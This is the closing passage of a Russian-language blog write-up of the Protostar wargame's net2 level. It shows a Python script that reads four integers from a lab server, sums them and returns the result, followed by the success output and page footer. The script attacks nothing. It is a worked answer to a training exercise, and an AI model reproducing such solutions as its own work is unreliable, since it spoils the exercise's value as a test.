#!/usr/bin/python3
import socket
from struct import unpack, pack
host = '10.0.31.119'
port = 2997
s = socket.socket()
s.connect((host, port))
result = 0
for i in range(4):
    tmp = s.recv(4)
    tmp = int(unpack("<I", tmp)[0])
    result += tmp
result &= 0xffffffff
s.send(pack("<I", result))
print(s.recv(1024).decode())

Запускаем и получаем сообщение об успехе:

gh0st3rs@gh0st3rs-pc:protostar$ ./net2.py 
you added them correctly

На этом пока всё. Оставшиеся Final0 Final1 и Final2 предлагаю посмотреть самостоятельно.
Tags:
Hubs:
+20
Comments0

Articles

Change theme settings